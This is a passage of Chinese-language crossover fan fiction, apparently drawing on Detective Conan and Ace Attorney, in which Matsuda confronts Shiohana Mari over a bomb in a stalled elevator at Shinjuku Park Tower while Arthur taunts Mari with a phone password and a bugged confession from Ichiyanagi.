她没有反抗,陷入催眠瓦斯递交的混沌之中,意识失去了躯体的限制,精神顿时变得十分广阔。 拉娜唯正思索谁下了手,耳畔听得折叠时空之外跨越而来的声音。电梯门传来了咯吱咯吱的动静,拖长了音,在天井之中发出令人毛骨悚然的不安声响。她的意识立刻被抓回那个漆黑的小棺材里,光照射了进来,他瞧见人的倒影。看起来电梯轿厢卡在了楼层之间,来人先是修长有力的腿自上一层探进来,然后一个干脆的落地。看清来人的面容时: 他感到绝望。我们说过,汐华真理后来总是后悔自己不该聪明时聪明。 那个孩子非常聪明。他很争气,只凭借39楼这个信息就推断出了一个地点:新宿公园塔。新宿公园塔高234米,是新宿区的第二高楼,它是由三座相连的塔楼组成的单体建筑,由丹吉健三设计。这栋楼主要被用作办公大楼,只有39层到52层属于柏悦酒店。 其实那个孩子一定有余力推得两个地点,但是—— 他看见那个自己熟悉又陌生的年轻人露出了绝望的表情。他感到一阵惊愕,就像头被撞了一下。在此过程中,他 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他看着对方青白色的,哀伤又固执的脸,一时间火冒三丈,花了大力气抑制自己没有给那张好脸上再来一巴掌: “你以为我猜不到你们的地址被对换了吗?!” 松田阵平揪着汐华真理的领子:“你可以什么都不说。为什么要诱导我、还有我的小队去救另一边?你在感动谁?你觉得自己死了会让谁特别痛快?你的牺牲是徒劳无功的,是一种彻头彻尾的浪费。你懂吗!你听见了吗!浪费!” “只要我在这里,这里就是安全的。”汐华真理用一种哽咽的、祈求的声音回答他,“我很难向你解释清楚,但是……” “我远比你预想的知道的还多。”松田阵平轻蔑的——也许是恨铁不成钢的——瞥来一眼,“闭嘴。我知道你身上发生了不可逆的转变,很寻常;谁不曾?我知道我说什么你现在都听不进去。我只说两点:第一,你觉得自己在这里,依靠你那个能把你抛下二十二年的不负责任的妈就可以镇得住一柳万才这样一个人精?万一不能呢?万一他觉得把你弄死了,你妈也不会翻脸呢?你是贱命一条了,死都安心——但是这里是新宿公园塔,柏悦酒店的入住客人的命也随你放上赌桌?你真的越来越有上位者的风姿了。人命在你手里是不是像大小不一的筹码一样?我做不到啊。佑希曾经跟我说政治上的事少懂些是好事,她说的一点不错。哪儿有炸.弹,我就解决它。这就是我的主意,我的思想,我的驱动力。你不要露出一副很感动的恶心样子来,这儿有炸.弹,炸了会死很多人。我没法坐视不理,来处理。就这么简单,别太把自己当回事。” “第二:那个女人——她或许是你的生母。但是我告诉你,她不是你道德层面上的母亲。我不承认。你也许还怀揣着不切实际的梦想,但是我看得清:她不爱你。——除了我们,除了我和萩,还有你心知肚明的‘他们’,谁在乎你!谁爱你!你出事伤心的只有我们!但是我的心在你身上,你的心在谁身上?我比你想象的知道的更多……但是你——”他的话头一下子截止了。同时脸上露出一个非常复杂,非常——让人难忘的表情。他摆了摆手,“滚出去吧。接你的人到了。把随身物品带上,我说那个检察官。……你费心保住了他的声誉,叫他可以继续做一个没有污点的检察官,可不是要他在这里杀身成仁。” 随后松田阵平不再看汐华真理了。他把自己的随身物品放在地上,撬开轿厢顶。他听见脚步声由远及近,上面的楼层伸出一只手,叫人出去。他不必低头就知道汐华真理一定先送出了昏迷的御剑检察官。他下手还挺狠,御剑怜侍一点动静都没有,把人搬出去花了好大力气。在百忙之中,他感觉汐华真理可怜兮兮地揪他的裤腿,像一条狗。他的语气听起来像是要哭了。 “松田——松田哥。你没有穿防爆服,你出去,你换上,好不好?出去?萩原哥就……”他祈求。无视一条狗的呜咽总是很困难,但他做到了。松田阵平叫他闭嘴。 狗听话地闭嘴了。 一柳万才不会放过他了。 在看见松田阵平进来的瞬间,汐华真理就意识到这个可怕的事实。一柳万才绝对不会允许一个知道他谋算的人活在世上。可是,说来我真恶心。松田阵平扇他的时候的手是热的,有温度。他还活着。他还活着,我不要他死。我不要。他摸身上的兜,手机被收掉了;但是松田的手机还在这儿,他一咬牙拿走。他蹬着电梯门离开,来到外界,刺目的光让他几乎落泪。有人七嘴八舌地要求他离开这栋楼越快越好,他说我不走,我绝对不走。他命令其他人带走御剑怜侍,自己一个人蜷着身子趴在电梯外两步的地上,就好像一条忠心的看家狗,外人牵不走。只要我还在这里,炸.弹就一定不会爆炸。没事的,没事的,没事…… “……不是1107.那会是什么?毕业典礼的日子?他们那一届是什么时候?该死的。他的生日?他有生日吗?萩原的?”他的手抖得厉害,越来越着急,怀疑自己的呼吸过度要犯了。我怎么这么没出息。他听见一个轻飘飘的声音,好像随口一问般:“你在干嘛呀。” 汐华真理本来不准备回答,但忽然觉得这声音熟悉,猛地抬头。 亚瑟含笑地注视他,手中捏着什么,在阳光下晃了晃。他还没看清楚,就感到呼吸一滞,锁链缠上他的脖颈—— 是心锁。 “……让我想想——真理君会一点计算机技术吧。”他佯装冥思苦想,而后浮夸地一合掌,“是害怕市民们乱投票,对吧!所以呢,真理是要拦截投票通道的对吧。”他笑了起来,看着地上那个被心锁的锁链勒的抬不起头,颤抖着跪在地上的青年。打了个响指—— 心锁断裂了。他的推理完全正确。 亚瑟仁善地蹲了下来,伸手,把汐华真理翻过来。不出他所料,本来就在临界边缘的年轻人呼吸道被锁链一勒,又一次呼吸过度。怀疑这个小子以后再见到自己身体就会习惯性地呼吸过度了,听起来好可怜。炽热的颤抖的呼吸吐在他掐着脖子的手背上,亚瑟说: “密码是0107.” 汐华真理立刻伸手,费力地去够丢在地上的手机。这期间亚瑟有一万个机会拦住他不让他动,但实际上他什么都没做,有一种看好戏般的神态。他根本不在乎。汐华真理急忙、慌乱、但非常有毅力地在手机上输入一串又一串指令,呼吸急促,整张脸都不正常地泛红。他什么都不做,只是偶然间插嘴:“你不好奇为什么是这个密码吗?” 汐华真理并不同他讲话。五分钟之后他放下手机,浑身脱力地瘫倒在地上;但左手死死攥着手机,右手则捂住自己的口鼻,试图抑制呼吸过度。亚瑟看了,觉得他可怜的厉害,伸出手来帮忙——但那个手式很像擒拿。 他又问: “你真的不问问为什么是那个密码吗?” 那双他一手炮制修改而来的鲜红眼睛闭上了。还是不肯理他。亚瑟看了,露出一个怜悯的微笑。但是,你会知道的,会的。 十秒后,这片平台上传来令人毛骨悚然的哭叫和嘶吼声,持续不断,像是要把灵魂都撕裂一般。把汐华真理安排成拉娜唯的孩子时,也就想过他会遗传那个女人离谱的体质;只是漏算到第一次就造作在自己身上;那个孩子在他身下爆发出和肌肉群完全不相符的力气,把他硬生生从身上撕下来,不要命了一样往天井冲;亚瑟被掀了个猝不及防,但反应也同样的快——可能得鸣谢本作里有个赛亚人京极真——一把抓住汐华真理的手腕,极大的冲击力让汐华真理重重地摔在地上,疑似膝盖跪烂,但他全然不知;猛地回头,双眼充血:你他妈的放开我! 那也没用啊。亚瑟一点儿也不害怕,我放开你,难道你要徒手把轿厢抓上来? 他话音未落,整栋楼都低沉地震动了一声。 没有爆炸。但是这余震怎么这样大?很短的时间中汐华真理非常迟钝,好像灵魂离体,人都变成了弱智:刚才有人说电梯没准会坠落,谁说的?谁? ……啊,亚瑟捏了捏汐华真理的手腕,迫使他回神。 你知道为什么是0107吗?他笑了笑:你还记得你们初见的时候吗。 汐华真理迟钝地点点头。像个机器人。 是1207对吧。你记不记得最后把他手机摔了,又去赔;买手机的时候他听说你下个月要租房……然后就拿手机密码当备忘录用了。诶呀,他是这种人。 与此同时拉娜唯仿佛没有回神般,定定地看着论坛的动画。虎狼死家的雇主是水无怜奈;TV明明白白地演了出来,她凭借放在一柳万才办公桌下的窃听器先一步找到了另一个受害者,并且利用她的方法——要知道虎狼死家一直被检查局通缉,反过来也意味着了解到他的存在,门槛不高——让虎狼死家带走了舟桥佑希。 但窃听器还是忠实地发挥着作用。 一柳万才的声音延迟又失真地传来:“……很可惜。是的。很可惜;我的目标没有达成。只能灭口收尾;那个孩子太自作主张。御剑检察官对他很好,使得他迷失了。……我不是不能理解啊!(抽泣)但是,这也是不得已的献祭。他会理解的……” 寂静的平台传来轰然巨响。亚瑟本要离开的,被少有地吓了一跳,回头,看见汐华真理猛地把那个手机摔碎。与此同时,拉娜唯在十六楼只有她一人的房间里声嘶力竭地大吼,像一头发疯的雌狮: “他要!他要为此付出代价的!不是献祭,是谋杀!谋杀!残忍的,懦弱的谋杀!!!!”